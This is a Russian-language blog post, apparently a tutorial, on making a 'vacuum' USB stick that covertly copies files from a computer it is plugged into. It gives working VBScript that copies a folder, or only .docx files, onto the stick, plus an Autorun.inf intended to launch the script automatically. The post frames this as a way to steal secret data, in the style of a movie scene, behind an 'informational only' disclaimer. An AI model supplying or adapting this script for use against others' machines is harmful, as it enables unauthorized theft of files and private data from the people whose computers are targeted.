Добрый день дорогие читатели. Рад приветствовать вас на моем канале
ВНИМАНИЕ! Данная статья предназначена исключительно для ознакомления, и носит информативный характер.
Наверняка, в фильмах, вы часто видели, как кто-то решает завладеть секретными данные. Для этого он просто вставляет флешку в компьютер, ждет какое то время, затем отключает флешку и уходит как ни в чем не бывало.
В этой статье я расскажу, как можно сделать такую флешку - пылесос. Причем для этого нам не потребуется какие либо программы и утилиты. Все что нам нужно:
- Флешка,
- Компьютер.
Все)
Поехали
Для проверки создадим на диске C папку с названием "TEST FOLDER", именно ее будет "засасывать" флешка
Далее, берем флешку и подключаем к компьютеру. Можно не форматировать.
Открываем блокнот и вводим туда следующее:
Const FolderPath = "C:\TEST FOLDER"
Dim MyPath
Set FSO = CreateObject("Scripting.FileSystemObject")
Set WshShell = WScript.CreateObject("WScript.Shell")
MyPath = left (WScript.ScriptFullName, (Len(WScript.ScriptFullName))-(Len(WScript.ScriptName)))
FSO.CopyFolder FolderPath, MyPath
Затем сохраняем этот скрипт на свою флешку с разрешением .vbs. Файл называем, USBcopy.vbs. Название я выбрал сам, вы можете написать свое, произвольное.
Данный скрипт будет копировать папку "TEST FOLDER" в ту директорию, где расположен скрипт, то есть на нашу флешку.
Можно так же сделать выборку по расширению
Например, копировать файлы только с расширением docx. Скрипт будет выглядеть следующим образом:
const FolderPath = "C:\TEST FOLDER" 'путь к нужной папке
Dim MyPath,f,f1,fc,ext
Set FSO = CreateObject("Scripting.FileSystemObject")
Set WshShell = WScript.CreateObject("WScript.Shell")
set f = fso.GetFolder(FolderPath)
set fc = f.Files
MyPath = left (WScript.ScriptFullName, (Len(WScript.ScriptFullName))-(Len(WScript.ScriptName)))
for each f1 in fc
ext=lcase(fso.GetExtensionName(f1.path))
if (ext="docx") then 'Если несколько типов файлов, строка будет иметь вид: if (ext="txt") or (ext="doc") then
FSO.CopyFile f1.path, MyPath
end if
next
Автозапуск
Тут немного сложнее. Написать Autorun.inf довольно легко, но вот сделать так, что бы он работал, не совсем. На WIndows 10 это работать не будет, да и любой антивирус будет блокировать Autorun, поэтому скрипт придется запускать вручную.
Autorun.inf в нашем случае будет выглядеть вот так:
[AutoRun]
open= USBcopy.vbs
Пишем это так же в блокноте, и сохраняем с расширением .inf в корне нашей флешки.
Спасибо, что читаете меня. Буду благодарен, если вы поставите лайк и подпишитесь на мой канал. Увидимся
Читайте так же:
Как настроить спам фильтр в Outlook
Почему все "оптимизаторы" Windows - пустышки. И что действительно способно ускорить систему
